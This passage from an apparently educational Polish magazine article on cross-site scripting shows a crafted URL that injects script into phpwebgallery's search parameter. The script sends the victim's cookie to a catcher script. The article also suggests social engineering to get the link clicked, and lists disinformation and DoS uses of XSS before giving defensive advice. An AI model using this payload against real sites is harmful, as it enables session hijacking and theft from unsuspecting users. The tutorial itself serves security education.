rzu, Firefox przekieruje nas do skryp-
tu, który zapisze treść ciasteczka do 
pliku  pwsave.txt,  skąd  będziemy 
mogli ją odczytać.

Zauważyłeś zapewne, że chociaż 

atak działa idealnie, ma pewien nielo-
giczny punkt. Dlaczego bowiem użyt-
kownik miałby samemu wpisywać taki 
ciąg znaków do formularza? Oczywi-
ście, zapewne by tego nie zrobił.

Na  nasze  szczęście,  dostęp  do 

zmiennej  keyword  możemy  także 
otrzymać przez URL. Preparując od-
powiednio adres, możemy w nim za-
wrzeć szkodliwy kod. Następnie wy-
starczy, by użytkownik kliknął na taki 

odnośnik, co powinno być proste do 
osiągnięcia przy pewnej wiedzy so-
cjotechnicznej.  By  przekazać  spe-
cjalne znaki w adresie URL, musimy 
je eskejpować. Nie należy się jednak 
obawiać – nie wpłynie to na ich inter-
pretację, bowiem serwer przywróci je 
do stanu znaków specjalnych przed 
wygenerowaniem  dynamicznej  stro-
ny.  Nasz  końcowy  ciąg,  służący  do 
ataku, ma następującą postać: http://

localhost/phpwebgallery/comments

.php?keyword=%22%3E%3Cscript

%3Edocument.location=%22  http://

localhost/catcher.php?pw=%22+do-

cument.cookie%3C/script%3E.

Jeśli  zmusimy  użytkownika  do 

odwiedzenia  tej  strony,  nasz  skrypt 
wykradnie  jego  ciasteczko.  Gratu-
lujemy!

Podsumowanie

Jak  pokazaliśmy,  XSS  można
przeprowadzić  na  wiele  różnych
sposobów.  Na  niezabezpieczonej 
witrynie daje on ogromne możliwo-
ści wykradania informacji i wprowa-
dzania w błąd. Mimo wszystko, nie-
którzy  wciąż  uważają  XSS  za  za-
bawkę  dla  młodocianych  hakerów, 
która  w  najgorszym  wypadku  wy-
świetli  nam  denerwujące  okienko. 
My  jednak  już  wiemy,  że  sytuacja 
jest dużo poważniejsza.

Każdy webmaster powinien pod-

jąć  stosowne  kroki  w  celu  zabez-
pieczenia swoich aplikacji przed te-
go  typu  atakami.  Jakim  sposobem 
chronić  nasze  formularze?  To  już 
kwestia  gustu,  pozostającego  do 
dyspozycji czasu, ale także funkcjo-
nalności aplikacji. Z tego też powodu 
trudno jest przedstawić uniwersalne 
rozwiązanie tego problemu – jak to 
zazwyczaj  bywa  w  przypadku  bez-
pieczeństwa,  własne  rozwiązanie 
jest  niezbędne.  Niewątpliwie  poja-
wią  się  nowe  sposoby  przeprowa-
dzania ataków, powodując ponowne 
narażenie naszych witryn – tak, jak 
w przypadku przepełnień buforu.

W  momencie,  gdy  wydawało 

się, że wszystkie luki są możliwe do 
zabezpieczenia, ktoś odkrywał nowe 
podatności  i  łamał  kod.  Jeśli  zatem 
chcemy być bezpieczni, musimy stale 
czuwać nad naszymi aplikacjami. l

W Sieci

•   http://hackers.org/xss.html – Ściąga XSS,
•   http://webmonkey.wired.com/webmonkey/reference/special_characters/    lista 

sekwencji eskejpujących,

•   http://pixel-apes.com/safehtml/?page=safehtml SafeHTML – wstęp do filtrowania 

przy użyciu wyrażeń regularnych

O autorze

Autor to obecnie uczeń ostatniej klasy w niemieckiej szkole średniej. Zaczął intere-
sować się tematyką bezpieczeństwa komputerowego na własną rękę, mając na celu 
przeniesienie się do Japonii.
Kontakt z autorem: psz@observed.de

Możliwości ataku

Ten artykuł demonstruje technikę wykorzystania podatności na XSS, posłużyliśmy się 
więc tylko jednym przykładem ataku. XSS pozwala jednak na przeprowadzenie dużo 
groźniejszych ataków niż tylko wykradnięcie treści ciasteczek.

•   Dezinformowanie  –  Funkcja 

document.write()

  pozwala  na  umieszczanie  wielu 

fałszywych informacji. Wyobraźmy sobie istotną stronę z aktualnościami, podatną 
na atak XSS. Atakujący mógłby na przykład stworzyć wiadomość o ataku nuklear-
nym i rozprowadzić adres przez e-maile oraz fora dyskusyjne. Wiadomość zyska na 
wiarygodności dzięki renomie witryny, przez co wiele osób w nią uwierzy.

•   Zmylanie – Podobnie jak w powyższym przypadku, użytkownik może zostać wpro-

wadzony w błąd przy użyciu przekierowania lub podmiany treści.

•   Śledzenie użytkowników – Pomysłowy atakujący może pozyskać informacje na 

temat  stopnia  odwiedzalności  i  klikalności  poszczególnych  elementów  serwisu. 
Mechanizm ten jest powszechnie używany do generowania statystyk.

•   Obciążanie łącz – Przyjmijmy za przykład większą stronę z aktualnościami, mają-

cą kilka tysięcy wizyt dziennie. Jeśli atakujący wklei kod, ładujący największy plik 
z serwera, wygeneruje tym samym ogromne obciążenie, które może spowodować 
efekt DOS.